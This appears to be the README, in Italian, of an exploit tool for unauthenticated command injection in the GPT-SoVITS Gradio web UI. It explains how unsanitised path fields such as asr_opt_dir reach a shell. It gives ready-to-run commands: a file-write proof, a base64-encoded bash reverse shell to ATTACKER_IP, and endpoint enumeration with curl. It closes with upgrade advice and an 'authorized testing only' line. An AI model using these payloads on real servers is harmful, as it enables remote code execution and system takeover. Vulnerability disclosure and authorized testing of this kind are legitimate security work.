
Exploit di iniezione di comandi OS non autenticata per l'interfaccia web Gradio di GPT-SoVITS. Fornisce RCE tramite parametri di percorso non sanificati negli helper di elaborazione audio, supportando reverse shell e scritture di file per test di sicurezza autorizzati.
Esecuzione remota di codice non autenticata nella web UI Gradio di GPT-SoVITS
(webui.py).
Gli helper di elaborazione audio (open_asr, open_slice, open_denoise, open_uvr5)
interpolano i valori path non sanitizzati delle textbox Gradio direttamente nei comandi shell eseguiti
con Popen(..., shell=True). I path vengono solo passati tramite clean_path(), che si limita
a rimuovere virgolette e spazi iniziali/finali — i metacaratteri shell nel mezzo sopravvivono.
Il campo asr_opt_dir non viene nemmeno verificato per l'esistenza, quindi una sostituzione di comando
presente al suo interno finisce dentro e viene eseguita come utente del processo della web UI. La web UI
viene fornita , quindi basta una singola richiesta.
$(...)-o "$(...)"<= 20250606v2pro9874 (web UI Gradio, non autenticata)pip install gradio_client
# write proof to a file on the target
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
Il comando iniettato viene eseguito sul server; il suo output non viene restituito, quindi usa una reverse
shell (o scrivi su un percorso leggibile) per osservare il risultato. asr_opt_dir è racchiuso in
$(...), quindi viene eseguito tramite sostituzione di comando indipendentemente dal fatto che sia installato
un modello ASR.
open_asr costruisce ed esegue:
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
La UI Gradio espone la propria superficie API su /config:
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
Aggiorna a una versione successiva a GPT-SoVITS 20250606v2pro, non esporre mai la web UI a reti non attendibili,
e non eseguirla come utente privilegiato.
Solo per test di sicurezza autorizzati e scopi educativi. Usalo solo su sistemi di tua proprietà o per cui hai ricevuto esplicita autorizzazione al test.